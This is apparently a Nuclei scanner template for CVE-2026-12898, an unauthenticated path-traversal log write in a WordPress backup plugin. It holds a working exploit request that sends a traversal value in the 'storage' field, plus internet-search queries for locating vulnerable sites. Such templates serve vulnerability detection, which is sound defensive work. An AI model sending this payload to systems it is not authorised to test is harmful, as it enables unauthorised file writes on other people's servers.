id: CVE-2026-12898 info: name: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write author: iamatownboy severity: medium description: | The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory. impact: | Unauthenticated attackers can write log files outside the plugin storage directory, potentially leading to information disclosure or further compromise. remediation: | Update All-in-One WP Migration and Backup to version 7.106 or later. reference: - https://wpscan.com/vulnerability/c90553e4-8e1a-4c99-a28f-a0de8d635caa/ - https://wordpress.org/plugins/all-in-one-wp-migration/ - https://nvd.nist.gov/vuln/detail/CVE-2026-12898 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L cvss-score: 6.5 cve-id: CVE-2026-12898 epss-score: 0.01352 epss-percentile: 0.71758 cwe-id: CWE-22 metadata: verified: true max-request: 3 vendor: servmask product: all-in-one-wp-migration framework: wordpress shodan-query: html:"/wp-content/plugins/all-in-one-wp-migration/" fofa-query: body="/wp-content/plugins/all-in-one-wp-migration/" publicwww-query: "/wp-content/plugins/all-in-one-wp-migration/" tags: cve,cve2026,wordpress,wp,wp-plugin,all-in-one-wp-migration,traversal,log-write variables: logname: "{{rand_text_alpha(8)}}" padding: "{{repeat('p=1&', 5200)}}" flow: http(1) && http(2) && http(3) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt" matchers: - type: dsl dsl: - contains(body, "All-in-One WP Migration") - compare_versions(version, "< 7.106") condition: and internal: true extractors: - type: regex name: version part: body group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/{{logname}}&{{padding}}end=1 matchers: - type: dsl dsl: - status_code == 200 internal: true - method: GET path: - "{{BaseURL}}/wp-content/uploads/{{logname}}.log" matchers: - type: dsl dsl: - status_code == 200 - contains_any(body, "Input variables exceeded", "PHP Request Startup") condition: and # digest: 4b0a00483046022100da7a474b43e85992b3f693839fad6f60689ddcccaea0679e43937dc6b72edd38022100a3f497f8e8523aae47e6255cbe1944b617568bb473396e4b3a3fb93505a48563:922c64590222798bb761d5b6d8e72950